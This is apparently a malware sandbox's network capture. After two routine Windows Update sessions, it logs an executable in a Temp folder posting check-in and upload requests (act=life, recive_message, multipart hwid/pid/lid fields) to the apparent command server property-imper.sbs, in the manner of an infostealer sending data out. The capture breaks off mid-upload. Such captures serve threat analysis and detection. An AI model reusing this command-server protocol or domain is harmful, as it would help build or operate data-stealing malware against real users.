Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:14:26 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=POeRlgA+vAbfxAK&MD=Nl7pHTBF HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 20:14:27 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 469a61cc-badf-4265-8ff5-142f482c44d8 MS-RequestId: a8469085-5433-4899-87e5-c4656f8af60a MS-CV: P5j+Pupbtk2X8Hi3.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 20:14:26 GMT Connection: close Content-Length: 24490
2024-11-23 20:14:27 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-23 20:14:27 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49708	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:07 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=POeRlgA+vAbfxAK&MD=Nl7pHTBF HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 20:15:07 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: d42262cf-5e0e-4a69-954c-0d2a1a492a51 MS-RequestId: 6939c2c7-7d29-456b-8504-30ad9594be4c MS-CV: DF2fyamygUiZbkt1.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 20:15:06 GMT Connection: close Content-Length: 30005
2024-11-23 20:15:07 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-23 20:15:07 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49712	172.67.162.84	443	3576	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:17 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 20:15:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 20:15:18 UTC	1021	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ej0cm94pqt4bbnfkalofd73l5u; expires=Wed, 19-Mar-2025 14:01:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JvjkexC2M5%2F%2Ffv29dPgzeXzJspyghYuhR0%2BL%2BtGRG4rw%2Bquo18nE4ZiIJBpOX3AhyHnVNVnbxapZhwiiakZbBGT3c18PB22QQqsjDGQciZExT%2BTHgpj0LIzZR%2FttuiIRedCxnCk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e73d49aca98de98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1533&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1848101&cwnd=206&unsent_bytes=0&cid=30b68bd342b3fc85&ts=708&x=0"
2024-11-23 20:15:18 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 20:15:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49714	172.67.162.84	443	3576	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:20 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-23 20:15:20 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-23 20:15:20 UTC	1013	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9dbsmmc5d1j1n1kcfgcgpgfq0p; expires=Wed, 19-Mar-2025 14:01:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pvOzpDXrbPoRnoZNkEE7PWkaWdloswLkTOytKLhrzN8tJ9hYwXUlKxy6VeCuJzghjnr3KngISN%2BdsmyOAN6d3paCOC3YayVVQnsj67jSABs4J%2BvRxaa0JwKu7OsO1pvwa5%2B9Cew%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e73d4a83f428c84-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1839&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=955&delivery_rate=1505930&cwnd=180&unsent_bytes=0&cid=ac539b8a3ad125b7&ts=769&x=0"
2024-11-23 20:15:20 UTC	356	IN	Data Raw: 34 34 36 63 0d 0a 4b 33 41 50 6c 57 67 67 62 61 37 2b 67 41 48 2b 59 41 34 44 70 62 6f 36 53 35 31 58 70 35 6e 45 75 31 5a 4d 61 4d 77 54 47 58 4a 51 55 6e 6d 33 55 68 52 42 6a 49 33 6c 49 38 51 55 66 48 62 41 6c 68 67 71 2b 58 57 64 2f 36 58 58 4a 53 6c 45 37 6d 56 30 55 42 45 57 62 76 6b 62 52 55 47 4d 6d 2f 67 6a 78 44 74 31 49 63 44 55 47 48 47 2f 4d 73 33 37 70 64 63 30 4c 51 4f 6a 59 33 55 52 51 78 78 6f 2f 51 31 44 43 63 2b 53 37 57 53 62 42 57 39 70 79 39 4e 58 49 2f 42 31 69 37 75 68 77 58 52 32 53 6f 46 32 62 52 4e 6d 45 58 7a 2b 53 6c 31 42 31 64 7a 6c 62 39 78 61 4c 47 4c 41 32 46 59 74 2b 54 7a 50 38 61 7a 66 4e 53 67 43 76 48 70 2f 47 6b 4d 53 61 2f 77 48 53 68 33 43 6d 4f 70 76 6e 51 39 76 49 59 6d 59 58 7a 47 2f 62 59 57 6f 6c 4e 6f 6c 50 Data Ascii: 446cK3APlWggba7+gAH+YA4Dpbo6S51Xp5nEu1ZMaMwTGXJQUnm3UhRBjI3lI8QUfHbAlhgq+XWd/6XXJSlE7mV0UBEWbvkbRUGMm/gjxDt1IcDUGHG/Ms37pdc0LQOjY3URQxxo/Q1DCc+S7WSbBW9py9NXI/B1i7uhwXR2SoF2bRNmEXz+Sl1B1dzlb9xaLGLA2FYt+TzP8azfNSgCvHp/GkMSa/wHSh3CmOpvnQ9vIYmYXzG/bYWolNolP
2024-11-23 20:15:20 UTC	1369	IN	Data Raw: 2f 65 6c 4f 6c 6f 6d 52 42 6e 61 4d 72 56 57 43 54 31 4f 73 62 37 6f 64 4d 2b 49 51 43 71 66 48 59 57 53 52 49 74 75 55 70 46 46 34 7a 45 6f 6b 43 5a 45 6d 74 74 30 5a 70 69 61 65 42 37 33 4c 75 68 31 58 52 32 53 71 5a 30 65 42 4e 43 48 57 37 2f 41 56 41 50 33 70 72 76 5a 6f 34 45 61 57 2f 4e 32 30 6f 6a 38 54 50 47 38 71 33 51 4d 53 6b 4f 37 6a 38 37 46 31 46 53 4e 62 63 72 54 77 54 41 6c 76 56 6a 33 42 30 69 65 49 66 66 56 47 6d 6e 64 63 48 36 6f 74 67 77 49 41 53 71 66 58 30 65 52 42 31 72 2f 51 70 46 42 63 53 55 34 32 36 58 44 57 78 6b 79 74 78 65 4a 66 34 77 68 62 58 6d 33 69 78 75 55 75 35 66 66 42 4e 62 55 46 6a 30 42 45 77 49 32 74 7a 39 4c 59 56 43 61 32 32 48 67 42 67 6e 2b 6a 72 58 2b 72 54 63 4f 6a 77 47 71 33 64 32 45 30 63 53 61 50 41 48 54 Data Ascii: /elOlomRBnaMrVWCT1Osb7odM+IQCqfHYWSRItuUpFF4zEokCZEmtt0ZpiaeB73Luh1XR2SqZ0eBNCHW7/AVAP3prvZo4EaW/N20oj8TPG8q3QMSkO7j87F1FSNbcrTwTAlvVj3B0ieIffVGmndcH6otgwIASqfX0eRB1r/QpFBcSU426XDWxkytxeJf4whbXm3ixuUu5ffBNbUFj0BEwI2tz9LYVCa22HgBgn+jrX+rTcOjwGq3d2E0cSaPAHT
2024-11-23 20:15:20 UTC	1369	IN	Data Raw: 39 4c 59 56 43 61 32 32 48 67 42 67 6c 39 6a 58 4f 38 61 4c 5a 4d 79 4d 50 72 58 5a 34 48 55 34 59 59 2f 41 4f 54 67 62 42 6d 75 4a 6b 6d 41 64 2b 5a 4d 37 55 56 47 6d 78 64 63 4c 6a 35 6f 46 30 41 51 32 34 63 6c 51 54 57 42 73 74 36 45 52 62 54 38 75 51 6f 6a 76 63 42 57 6c 70 7a 4e 35 51 4b 65 30 77 79 2f 43 6e 30 7a 49 76 42 36 4a 33 65 78 46 4a 46 47 48 33 44 55 55 64 33 70 6e 6b 63 5a 5a 43 49 69 48 41 77 42 68 78 76 77 50 56 37 4c 66 50 64 68 73 4a 6f 48 39 38 42 67 6b 4e 49 2b 35 4b 52 51 4f 4d 78 4b 4a 6f 6e 41 35 72 61 63 48 63 55 43 62 77 50 4e 66 36 71 74 63 6d 4b 51 71 6e 66 33 51 63 51 42 39 71 2b 67 46 49 41 73 69 62 34 79 50 53 51 6d 74 35 68 34 41 59 48 2b 38 34 79 64 57 74 31 54 31 75 46 65 42 6f 4f 78 64 46 55 6a 57 33 44 6b 34 48 78 70 Data Ascii: 9LYVCa22HgBgl9jXO8aLZMyMPrXZ4HU4YY/AOTgbBmuJkmAd+ZM7UVGmxdcLj5oF0AQ24clQTWBst6ERbT8uQojvcBWlpzN5QKe0wy/Cn0zIvB6J3exFJFGH3DUUd3pnkcZZCIiHAwBhxvwPV7LfPdhsJoH98BgkNI+5KRQOMxKJonA5racHcUCbwPNf6qtcmKQqnf3QcQB9q+gFIAsib4yPSQmt5h4AYH+84ydWt1T1uFeBoOxdFUjW3Dk4Hxp
2024-11-23 20:15:20 UTC	1369	IN	Data Raw: 42 6d 74 6c 77 64 63 59 5a 37 38 79 33 62 76 2b 6d 52 73 4a 50 2b 78 51 51 56 42 57 58 48 53 33 44 55 35 50 6c 4e 7a 75 59 4a 41 4b 59 32 66 4f 31 46 49 67 39 44 6e 4f 2f 36 72 51 4d 53 67 4c 71 33 52 36 46 45 55 59 61 2f 51 4a 54 51 44 44 6c 4b 49 74 33 41 56 30 49 5a 2b 59 66 54 37 30 4f 38 4f 37 75 5a 63 74 62 67 32 69 4d 53 4e 51 52 52 74 72 38 51 39 4f 44 73 71 55 35 32 75 59 41 32 70 6e 78 4e 64 63 4c 50 34 36 77 66 65 6f 30 7a 55 76 42 71 56 2b 63 42 55 4a 58 43 33 77 45 67 4a 58 6a 4b 33 68 64 59 73 53 59 43 48 59 6c 6b 46 70 2b 44 6d 46 6f 2b 62 59 4a 69 51 41 6f 48 52 30 46 55 6f 64 61 76 6f 4d 54 67 58 46 6c 4f 52 73 6c 52 42 76 62 63 6e 66 56 69 58 78 4f 4d 2f 34 71 35 6c 36 62 67 32 32 4d 53 4e 51 5a 52 56 67 32 51 46 4f 43 49 79 44 72 48 72 Data Ascii: BmtlwdcYZ78y3bv+mRsJP+xQQVBWXHS3DU5PlNzuYJAKY2fO1FIg9DnO/6rQMSgLq3R6FEUYa/QJTQDDlKIt3AV0IZ+YfT70O8O7uZctbg2iMSNQRRtr8Q9ODsqU52uYA2pnxNdcLP46wfeo0zUvBqV+cBUJXC3wEgJXjK3hdYsSYCHYlkFp+DmFo+bYJiQAoHR0FUodavoMTgXFlORslRBvbcnfViXxOM/4q5l6bg22MSNQZRVg2QFOCIyDrHr
2024-11-23 20:15:20 UTC	1369	IN	Data Raw: 74 2b 59 41 47 6e 4a 4d 74 58 72 70 5a 73 46 4f 41 6d 34 65 6e 59 63 43 51 30 6a 37 6b 70 46 41 34 7a 45 6f 6d 57 54 43 32 39 75 78 74 46 55 4a 50 6f 38 77 50 71 67 33 54 34 6b 43 71 68 33 65 68 56 44 45 57 7a 39 41 30 55 48 79 35 2f 77 49 39 4a 43 61 33 6d 48 67 42 67 41 2b 43 66 4c 36 2b 62 47 65 6a 64 4b 71 58 30 37 53 41 6b 57 5a 2f 67 4f 52 51 50 4b 6d 65 52 75 6e 51 31 74 59 63 6a 63 55 79 44 35 4e 4d 6a 2b 71 39 30 6d 4a 41 47 68 66 58 49 63 52 46 49 6a 74 77 31 61 54 35 54 63 30 32 36 53 44 47 74 33 68 38 63 57 4d 4c 38 79 79 62 76 2b 6d 54 55 69 42 61 31 2b 65 42 4e 49 47 48 2f 6c 42 6b 73 48 79 5a 44 70 62 5a 6f 51 61 6d 37 4f 32 31 73 67 2b 44 33 4a 38 61 58 65 64 47 42 4b 71 57 6b 37 53 41 6b 78 65 75 63 48 41 68 43 43 68 61 4a 6b 6b 45 49 30 Data Ascii: t+YAGnJMtXrpZsFOAm4enYcCQ0j7kpFA4zEomWTC29uxtFUJPo8wPqg3T4kCqh3ehVDEWz9A0UHy5/wI9JCa3mHgBgA+CfL6+bGejdKqX07SAkWZ/gORQPKmeRunQ1tYcjcUyD5NMj+q90mJAGhfXIcRFIjtw1aT5Tc026SDGt3h8cWML8yybv+mTUiBa1+eBNIGH/lBksHyZDpbZoQam7O21sg+D3J8aXedGBKqWk7SAkxeucHAhCChaJkkEI0
2024-11-23 20:15:20 UTC	1369	IN	Data Raw: 30 76 38 44 72 4d 38 71 4c 52 4e 79 34 4f 71 6e 5a 2b 45 30 55 5a 61 76 51 46 52 67 62 43 6c 65 30 6a 30 6b 4a 72 65 59 65 41 47 41 6a 6b 4e 73 6e 32 35 73 5a 36 4e 30 71 70 66 54 74 49 43 52 35 6a 38 67 70 49 43 63 69 5a 35 47 6d 5a 41 6d 64 69 79 4e 78 65 4c 66 41 31 7a 76 4b 6e 33 7a 45 6b 41 61 68 38 65 42 5a 50 55 69 4f 33 44 56 70 50 6c 4e 7a 43 65 4a 45 4f 61 79 48 59 6c 6b 46 70 2b 44 6d 46 6f 2b 62 53 4f 43 6f 4e 72 6e 78 34 47 45 77 57 5a 2f 49 4b 53 68 33 45 6e 4f 56 78 6a 67 4a 6c 5a 4d 76 62 57 43 33 35 50 4d 50 34 6f 70 6c 36 62 67 32 32 4d 53 4e 51 5a 42 35 71 33 67 31 5a 54 39 50 53 2b 79 4f 62 44 69 77 35 68 39 6c 54 49 2f 41 34 78 76 32 6c 30 6a 45 6b 43 36 6c 35 64 67 4a 4b 48 57 4c 7a 43 6b 30 4a 79 70 33 74 5a 5a 73 4c 62 57 6e 41 6d Data Ascii: 0v8DrM8qLRNy4OqnZ+E0UZavQFRgbCle0j0kJreYeAGAjkNsn25sZ6N0qpfTtICR5j8gpICciZ5GmZAmdiyNxeLfA1zvKn3zEkAah8eBZPUiO3DVpPlNzCeJEOayHYlkFp+DmFo+bSOCoNrnx4GEwWZ/IKSh3EnOVxjgJlZMvbWC35PMP4opl6bg22MSNQZB5q3g1ZT9PS+yObDiw5h9lTI/A4xv2l0jEkC6l5dgJKHWLzCk0Jyp3tZZsLbWnAm
2024-11-23 20:15:20 UTC	1369	IN	Data Raw: 53 30 2f 47 68 79 54 4d 35 42 65 34 2f 4f 78 38 4a 53 6c 53 33 41 30 55 55 33 59 72 76 63 35 74 43 55 79 2b 48 77 42 68 78 76 77 44 47 39 61 6a 65 49 6a 39 48 69 57 64 78 46 31 6b 56 65 76 68 4b 44 45 2f 4b 33 4c 6f 77 30 6b 4a 6f 63 49 65 41 43 48 75 6b 59 4a 61 73 39 6f 73 72 59 42 50 75 5a 7a 74 49 47 31 77 74 35 55 6f 61 54 34 75 66 38 48 47 61 41 58 70 69 67 4f 5a 6d 44 75 55 34 77 2b 79 33 35 77 6f 70 45 4b 4e 33 62 41 45 46 42 32 37 35 42 45 55 5a 6a 4e 4b 69 62 4e 78 61 56 53 47 50 6d 47 64 6e 76 79 32 46 6f 2b 62 73 4e 79 41 45 71 57 64 71 58 57 34 49 59 50 45 64 55 30 2b 43 33 4f 51 6a 78 46 49 69 49 63 50 4a 47 48 47 76 5a 35 36 75 39 59 35 6b 66 42 58 67 61 44 73 47 43 55 6f 2f 75 55 70 51 54 35 54 63 70 57 43 4f 45 47 70 69 30 64 73 66 46 38 Data Ascii: S0/GhyTM5Be4/Ox8JSlS3A0UU3Yrvc5tCUy+HwBhxvwDG9ajeIj9HiWdxF1kVevhKDE/K3Low0kJocIeACHukYJas9osrYBPuZztIG1wt5UoaT4uf8HGaAXpigOZmDuU4w+y35wopEKN3bAEFB275BEUZjNKibNxaVSGPmGdnvy2Fo+bsNyAEqWdqXW4IYPEdU0+C3OQjxFIiIcPJGHGvZ56u9Y5kfBXgaDsGCUo/uUpQT5TcpWCOEGpi0dsfF8
2024-11-23 20:15:20 UTC	1369	IN	Data Raw: 6b 39 6f 36 49 41 32 34 59 44 59 33 52 78 56 73 34 52 70 56 41 49 7a 53 6f 6d 58 63 57 6a 34 76 68 39 78 4a 61 61 64 6c 6c 36 44 7a 69 6d 4e 2b 57 4c 45 2f 59 6c 42 66 55 6a 57 6c 52 41 49 64 6a 4d 53 69 4a 4a 38 51 66 6d 66 45 7a 6c 74 75 77 51 76 69 39 61 48 59 49 6a 34 64 6f 54 35 56 4a 6d 67 73 55 2b 49 4a 54 41 48 4c 69 76 4d 6a 30 6b 4a 6a 49 5a 2f 68 47 47 47 2f 43 6f 75 37 76 70 6c 73 62 6a 2b 74 66 33 55 58 58 77 4d 67 30 41 52 46 44 74 71 4d 39 57 7a 54 4c 46 70 41 68 35 59 59 4c 37 39 74 6c 37 58 6d 33 53 56 75 55 76 34 6a 49 45 55 61 52 54 32 6c 46 51 77 57 6a 49 71 69 4f 38 35 4d 4c 48 4f 48 67 42 68 75 2f 43 66 58 2f 61 58 50 4e 32 6b 30 6b 46 5a 31 46 30 67 45 66 66 6f 47 59 77 7a 64 6c 74 78 64 69 51 46 69 62 38 44 4f 53 57 6d 78 64 63 71 Data Ascii: k9o6IA24YDY3RxVs4RpVAIzSomXcWj4vh9xJaadll6DzimN+WLE/YlBfUjWlRAIdjMSiJJ8QfmfEzltuwQvi9aHYIj4doT5VJmgsU+IJTAHLivMj0kJjIZ/hGGG/Cou7vplsbj+tf3UXXwMg0ARFDtqM9WzTLFpAh5YYL79tl7Xm3SVuUv4jIEUaRT2lFQwWjIqiO85MLHOHgBhu/CfX/aXPN2k0kFZ1F0gEffoGYwzdltxdiQFib8DOSWmxdcq
2024-11-23 20:15:20 UTC	1369	IN	Data Raw: 6a 73 4a 76 6e 5a 46 4c 6d 51 41 61 75 63 4a 41 43 50 4c 6b 65 35 64 6f 6a 56 39 5a 74 65 61 66 69 72 70 4e 6f 57 31 35 73 46 30 64 6b 71 44 59 33 77 41 53 6c 42 42 38 41 64 4f 54 39 50 53 2b 79 4f 4b 51 6a 51 79 69 5a 68 4b 61 61 64 31 67 76 69 30 79 7a 49 74 48 4b 30 32 52 53 35 6b 41 47 72 6e 43 51 41 2b 77 5a 6a 30 64 70 38 53 61 31 2f 35 39 55 6f 75 37 7a 61 48 33 70 79 62 42 54 67 4a 72 6e 39 38 55 41 64 53 64 62 64 53 41 69 4c 65 6d 2f 4a 67 33 69 64 57 49 2f 62 4f 57 79 6e 78 4d 6f 58 6b 36 4d 42 30 4f 45 72 32 49 6a 56 51 57 31 49 31 74 30 31 4d 41 73 32 66 37 47 43 4f 45 47 70 69 30 64 73 66 46 38 45 61 7a 76 71 32 31 43 55 6a 44 72 68 50 52 54 64 50 46 32 72 4a 4e 48 55 65 79 34 79 67 52 5a 38 55 62 79 47 4a 6d 45 42 70 70 33 58 69 2f 61 50 65 Data Ascii: jsJvnZFLmQAaucJACPLke5dojV9ZteafirpNoW15sF0dkqDY3wASlBB8AdOT9PS+yOKQjQyiZhKaad1gvi0yzItHK02RS5kAGrnCQA+wZj0dp8Sa1/59Uou7zaH3pybBTgJrn98UAdSdbdSAiLem/Jg3idWI/bOWynxMoXk6MB0OEr2IjVQW1I1t01MAs2f7GCOEGpi0dsfF8Eazvq21CUjDrhPRTdPF2rJNHUey4ygRZ8UbyGJmEBpp3Xi/aPe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49716	172.67.162.84	443	3576	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:22 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=55CGGXWJA6U3M User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12822 Host: property-imper.sbs
2024-11-23 20:15:22 UTC	12822	OUT	Data Raw: 2d 2d 35 35 43 47 47 58 57 4a 41 36 55 33 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 41 45 32 44 33 32 42 36 34 45 45 46 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 35 35 43 47 47 58 57 4a 41 36 55 33 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 35 35 43 47 47 58 57 4a 41 36 55 33 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 35 35 43 47 47 Data Ascii: 